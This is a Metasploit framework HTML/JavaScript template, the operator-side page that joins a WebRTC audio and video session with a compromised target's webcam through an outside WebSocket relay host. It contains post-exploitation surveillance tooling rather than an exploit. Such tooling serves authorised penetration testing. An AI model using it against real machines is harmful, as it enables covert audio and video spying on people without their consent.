metasploit-framework/data/webcam/answerer.html

104 lines
2.4 KiB
HTML

<!DOCTYPE html>
<head>
<script src="=WEBRTCAPIJS="> </script>
</head>
<body>
<div id="info">
<pre>
Target IP : =RHOST=
Start Time : =STARTTIME=
Status : <span id="message">Please wait for the broadcast...</span>
</pre>
</div>
<div id="chat_area"></div>
<a href="http://metasploit.com/" target="_blank">Metasploit.com</a>
<script>
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
var inSession = false;
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket);
peer.onUserFound = function(userid) {
if (inSession) {
console.debug("Already in session, will not send another participation request");
return;
};
userid = "=OFFERERID=";
getUserMedia(function(stream) {
peer.addStream(stream);
console.debug("Joining: " + userid);
peer.sendParticipationRequest(userid);
inSession = true;
document.getElementById("message").innerHTML = "Session is now active.";
});
};
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
video.setAttribute('width', 640);
video.setAttribute('height', 480);
video.setAttribute('controls', true);
video.volume = 0.5;
document.getElementById("chat_area").appendChild(video);
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
document.getElementById("message").innerHTML = "The video session has ended.";
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
video.controls = true;
video.muted = false;
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</body>
</html>